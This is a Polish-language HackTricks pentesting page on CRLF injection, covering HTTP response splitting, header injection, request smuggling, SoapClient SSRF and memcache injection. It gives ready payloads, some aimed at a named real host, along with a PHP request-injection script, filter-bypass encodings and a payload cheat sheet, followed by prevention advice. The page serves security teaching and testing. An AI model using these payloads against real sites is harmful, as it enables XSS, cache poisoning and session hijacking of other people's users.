Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 07:01:09 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/crlf-0d-0a.md

16 KiB
Raw Blame History

Wstrzykiwanie CRLF (%0D%0A)

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wskazówka dotycząca nagrody za błąd: zarejestruj się na platformie Intigriti, premiumowej platformie nagród za błędy stworzonej przez hakerów, dla hakerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody do 100 000 USD!

{% embed url="https://go.intigriti.com/hacktricks" %}

Wstrzykiwanie CRLF

Nawias powrotu karetki (CR) i nowa linia (LF), znane łącznie jako CRLF, to specjalne sekwencje znaków używane w protokole HTTP do oznaczania końca linii lub początku nowej. Serwery internetowe i przeglądarki używają CRLF do rozróżniania między nagłówkami HTTP a treścią odpowiedzi. Te znaki są powszechnie stosowane w komunikacji HTTP/1.1 na różnych typach serwerów internetowych, takich jak Apache i Microsoft IIS.

Wrażliwość na Wstrzykiwanie CRLF

Wstrzykiwanie CRLF polega na wstawianiu znaków CR i LF do dostarczonych przez użytkownika danych wejściowych. Ta czynność wprowadza w błąd serwer, aplikację lub użytkownika, aby interpretować wstrzykniętą sekwencję jako koniec jednej odpowiedzi i początek kolejnej. Choć te znaki nie są w swojej naturze szkodliwe, ich niewłaściwe użycie może prowadzić do podziału odpowiedzi HTTP i innych złośliwych działań.

Przykład: Wstrzykiwanie CRLF w pliku dziennika

Przykład stąd

Rozważ plik dziennika w panelu administratora, który ma format: IP - Czas - Ścieżka odwiedzona. Typowy wpis może wyglądać następująco:

123.123.123.123 - 08:15 - /index.php?page=home

Złośliwy atakujący może wykorzystać wstrzyknięcie CRLF do manipulowania tym dziennikiem. Poprzez wstrzyknięcie znaków CRLF do żądania HTTP, atakujący może zmieniać strumień wyjściowy i fabrykować wpisy dziennika. Na przykład, wstrzyknięta sekwencja może przekształcić wpis dziennika w:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Oto, %0d i %0a reprezentują zakodowane w formie URL CR i LF. Po ataku, dziennik błędnie wyświetli:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Odpowiedź HTTP Splitting

Opis

HTTP Response Splitting to podatność na bezpieczeństwo, która pojawia się, gdy atakujący wykorzystuje strukturę odpowiedzi HTTP. Ta struktura oddziela nagłówki od treści za pomocą określonej sekwencji znaków, powrotu karetki (CR), a następnie przejścia do nowej linii (LF), łącznie określanej jako CRLF. Jeśli atakujący zdoła wstawić sekwencję CRLF do nagłówka odpowiedzi, może efektywnie manipulować następną zawartością odpowiedzi. Ten rodzaj manipulacji może prowadzić do poważnych problemów z bezpieczeństwem, zwłaszcza ataków typu Cross-site Scripting (XSS).

XSS poprzez HTTP Response Splitting

  1. Aplikacja ustawia niestandardowy nagłówek w ten sposób: X-Custom-Header: UserInput
  2. Aplikacja pobiera wartość dla UserInput z parametru zapytania, powiedzmy "user_input". W przypadkach braku odpowiedniej walidacji i kodowania danych wejściowych, atakujący może stworzyć ładunek, który zawiera sekwencję CRLF, a następnie złośliwą zawartość.
  3. Atakujący tworzy adres URL z specjalnie spreparowanym 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • W tym adresie URL, %0d%0a%0d%0a to zdekodowana sekwencja CRLFCRLF. To oszukuje serwer, aby wstawił sekwencję CRLF, sprawiając, że serwer traktuje następną część jako treść odpowiedzi.
  1. Serwer odzwierciedla wejście atakującego w nagłówku odpowiedzi, prowadząc do niezamierzonej struktury odpowiedzi, w której złośliwy skrypt jest interpretowany przez przeglądarkę jako część treści odpowiedzi.

Przykład HTTP Response Splitting prowadzący do przekierowania

Z https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Przeglądarka do:

/%0d%0aLocation:%20http://myweb.com

A serwer odpowiada nagłówkiem:

Location: http://myweb.com

Inny przykład: (ze strony https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

W ścieżce URL

Możesz wysłać ładunek wewnątrz ścieżki URL, aby kontrolować odpowiedź serwera (przykład z tutaj):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Sprawdź więcej przykładów w:

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

Wstrzykiwanie Nagłówków HTTP

Wstrzykiwanie Nagłówków HTTP, często wykorzystywane poprzez wstrzykiwanie CRLF (Carriage Return and Line Feed), pozwala atakującym wstawić nagłówki HTTP. Może to podważyć mechanizmy bezpieczeństwa, takie jak filtry XSS (Cross-Site Scripting) lub SOP (Same-Origin Policy), potencjalnie prowadząc do nieautoryzowanego dostępu do danych poufnych, takich jak tokeny CSRF, lub manipulacji sesji użytkownika poprzez podstawienie ciasteczka.

Wykorzystanie CORS poprzez Wstrzykiwanie Nagłówków HTTP

Atakujący może wstrzyknąć nagłówki HTTP, aby umożliwić CORS (Cross-Origin Resource Sharing), omijając ograniczenia narzucone przez SOP. To naruszenie pozwala skryptom z złośliwych źródeł na interakcję z zasobami z innego źródła, potencjalnie uzyskując dostęp do chronionych danych.

SSRF i Wstrzykiwanie Żądania HTTP poprzez CRLF

Wstrzykiwanie CRLF może być wykorzystane do stworzenia i wstrzyknięcia zupełnie nowego żądania HTTP. Przykładem tego jest podatność w klasie SoapClient w PHP, konkretnie w parametrze user_agent. Poprzez manipulowanie tym parametrem, atakujący może wstawić dodatkowe nagłówki i treść ciała, lub nawet wstrzyknąć zupełnie nowe żądanie HTTP. Poniżej znajduje się przykład w PHP demonstrujący to wykorzystanie:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Wstrzykiwanie nagłówków do Smuglowania Żądań

Aby uzyskać więcej informacji na temat tej techniki i potencjalnych problemów, sprawdź oryginalne źródło.

Możesz wstrzyknąć istotne nagłówki, aby zapewnić, że serwer zachowa otwarte połączenie po odpowiedzi na początkowe żądanie:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Po zakończeniu można określić drugie żądanie. Ten scenariusz zazwyczaj obejmuje smuglowanie żądań HTTP, technikę, w której dodatkowe nagłówki lub elementy ciała dodane przez serwer po wstrzyknięciu mogą prowadzić do różnych eksploatacji związanych z bezpieczeństwem.

Wykorzystanie:

  1. Zatrucie prefiksem złośliwym: Ta metoda polega na zatruciu następnego żądania użytkownika lub pamięci podręcznej sieciowej poprzez określenie złośliwego prefiksu. Przykład:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Tworzenie prefiksu do zatrucia kolejki odpowiedzi: Ta metoda polega na stworzeniu prefiksu, który w połączeniu z końcowymi zbędnymi elementami tworzy kompleksowe drugie żądanie. Może to spowodować zatrucie kolejki odpowiedzi. Przykład:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Wstrzykiwanie Memcache

Memcache to sklep klucz-wartość korzystający z protokołu tekstowego. Więcej informacji znajdziesz tutaj:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

Aby uzyskać pełne informacje, przeczytaj oryginalny opis

Jeśli platforma pobiera dane z żądania HTTP i używa ich bez oczyszczania do wykonywania żądań do serwera memcache, atakujący może wykorzystać to zachowanie do wstrzykiwania nowych poleceń memcache.

Na przykład, w oryginalnie odkrytej podatności, klucze pamięci podręcznej były używane do zwracania adresu IP i portu, do którego użytkownik powinien się połączyć, a atakujący mogli wstrzykiwać polecenia memcache, które zatruwały pamięć podręczną, wysyłając szczegóły ofiar (w tym nazwy użytkowników i hasła) do serwerów atakującego:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop

Ponadto, badacze odkryli również, że mogą rozsynchronizować odpowiedzi memcache, wysyłając adresy IP i porty atakujących do użytkowników, których adresu e-mail atakujący nie znali:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop

Jak Zapobiegać Wstrzykiwaniu CRLF / Nagłówków HTTP w Aplikacjach Sieciowych

Aby zmniejszyć ryzyko wstrzykiwania CRLF (powrót karetki i znak nowej linii) lub nagłówków HTTP w aplikacjach sieciowych, zaleca się zastosowanie następujących strategii:

  1. Unikaj Bezpośredniego Wejścia Użytkownika w Nagłówkach Odpowiedzi: Najbezpieczniejszym podejściem jest powstrzymanie się od bezpośredniego uwzględniania dostarczonych przez użytkownika danych w nagłówkach odpowiedzi.
  2. Koduj Specjalne Znaki: Jeśli unikanie bezpośredniego wejścia użytkownika nie jest możliwe, upewnij się, że korzystasz z funkcji dedykowanej do kodowania specjalnych znaków, takich jak CR (powrót karetki) i LF (znak nowej linii). Ta praktyka zapobiega możliwości wstrzykiwania CRLF.
  3. Aktualizuj Język Programowania: Regularnie aktualizuj używany język programowania w swoich aplikacjach sieciowych do najnowszej wersji. Wybierz wersję, która domyślnie nie zezwala na wstrzykiwanie znaków CR i LF w funkcjach odpowiedzialnych za ustawianie nagłówków HTTP.

CHEAT SHEET

Cheatsheet dostępny tutaj

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Narzędzia automatyczne

Lista wykrywania ataków siłowych

Odnośniki

Wskazówka dotycząca nagrody za błąd: Zarejestruj się na platformie Intigriti, premium platformie bug bounty stworzonej przez hakerów, dla hakerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody aż do $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: